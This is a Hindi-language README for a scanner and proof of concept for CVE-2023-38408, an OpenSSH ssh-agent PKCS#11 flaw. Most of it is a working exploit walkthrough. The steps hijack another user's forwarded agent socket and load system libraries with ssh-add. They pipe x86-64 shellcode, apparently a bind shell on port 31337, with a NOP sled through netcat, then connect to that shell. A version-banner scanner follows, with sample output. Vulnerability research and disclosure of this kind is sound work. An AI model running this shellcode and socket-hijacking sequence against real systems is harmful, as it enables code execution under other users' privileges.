
CVE-2023-38408 SSH भेद्यता स्कैनर और PoC
OpenSSH में एक भेद्यता पाई गई (संस्करण 9.3p2 से पहले)। ssh-agent में PKCS#11 सुविधा में अपर्याप्त विश्वसनीय खोज पथ है, जिससे यदि एजेंट को आक्रमणकारी-नियंत्रित सिस्टम पर अग्रेषित किया जाता है तो रिमोट कोड निष्पादन हो सकता है (/usr/lib में कोड ssh-agent में लोड करने के लिए आवश्यक रूप से सुरक्षित नहीं है)। यह दोष एक आक्रमणकारी को सर्वर पर अग्रेषित एजेंट-सॉकेट के नियंत्रण और क्लाइंट होस्ट के फ़ाइलसिस्टम पर लिखने की क्षमता के साथ, ssh-agent चलाने वाले उपयोगकर्ता के विशेषाधिकारों के साथ मनमाना कोड निष्पादित करने की अनुमति देता है।
नीचे दिए गए उदाहरण में, हम अन्वेषण से लेकर एलिस के उपयोगकर्ता से समझौता करने तक के चरणों को संक्षेप में देख सकते हैं।
जैसा कि पहले बताया गया है, इस POC में हम SSH के माध्यम से एक सर्वर से जुड़े 2 उपयोगकर्ताओं का उपयोग करेंगे। नीचे दिए गए चरणों का पालन करने के लिए, हम मान लेते हैं कि 2 उपयोगकर्ताओं के पास पहले से ही सर्वर (SSH) तक पहुंच है।
echo /tmp/ssh-*/agent.*
export SSH_AUTH_SOCK=/tmp/ssh-NqLP6il36s/agent.3452
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
अंत में, एक बार शेलकोड सफलतापूर्वक एजेंट की मेमोरी में रखे जाने के बाद नेटकैट ट्रांसफर को रोकने के लिए Ctrl-C दबाएं।
[!NOTE] SIGSEGV ट्रिगर करना 💬
SIGSEGV एक सिग्नल है जो कंप्यूटर प्रक्रिया को ज्ञात होता है जब एक अमान्य मेमोरी संदर्भ (सेगमेंटेशन फॉल्ट) होता है। SIGSEGV सिग्नल प्राप्त करने पर, कर्नेल पहचानता है कि एक अमान्य मेमोरी एक्सेस हुआ है और प्रोग्राम को अचानक समाप्त करने के बजाय कस्टम सिग्नल हैंडलर को लागू करने के लिए आगे बढ़ता है। ऐसा करके, हमलावर प्रोग्राम के निष्पादन में हेरफेर करने और इसे NOP स्लेड के भीतर स्थित इंजेक्ट किए गए दुर्भावनापूर्ण कोड की ओर ले जाने का अवसर लेता है।
ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
[पासफ़्रेज़ के लिए Enter दबाएं]
ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
[पासफ़्रेज़ के लिए Enter दबाएं]
ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
[पासफ़्रेज़ के लिए Enter दबाएं]
nc localhost 31337
यह भेद्यता मुख्य रूप से उन सिस्टमों को प्रभावित करती है जहां OpenSSH का SSH-agent उपयोग में है और एजेंट की अग्रेषण सुविधा सक्षम है। OpenSSH पर निर्भर संगठनों और व्यक्तियों को संभावित जोखिम का निर्धारण करने के लिए तुरंत अपने कॉन्फ़िगरेशन का आकलन करना चाहिए। यदि आपका सिस्टम उल्लिखित शर्तों को पूरा करता है, तो CVE-2023-38408 से जुड़े जोखिम को कम करने के लिए तत्काल कार्रवाई करना महत्वपूर्ण है।
git clone https://github.com/TX-One/CVE-2023-38408.git
cd CVE-2023-38408
python CVE-2023-38408_scanner.py -t <target> -p <port>
क्लाइंट सर्वर
| --- SSH-2.0-Client_Test ----> |
| <---- SSH सर्वर बैनर ----- |
TXOne SSH Vulnerability Scanner : CVE-2023-38408
Developed by TXOne
[+] 192.168.1.100:22 से कनेक्ट हो रहा है...
[+] बैनर प्राप्त हुआ: SSH-2.0-OpenSSH_9.2
[+] OpenSSH संस्करण पाया गया: 9.2
[!] संवेदनशील OpenSSH संस्करण पाया गया: 9.2
यह उपकरण केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए है। किसी भी नेटवर्क संसाधन को स्कैन करने से पहले हमेशा उचित प्राधिकरण प्राप्त करें।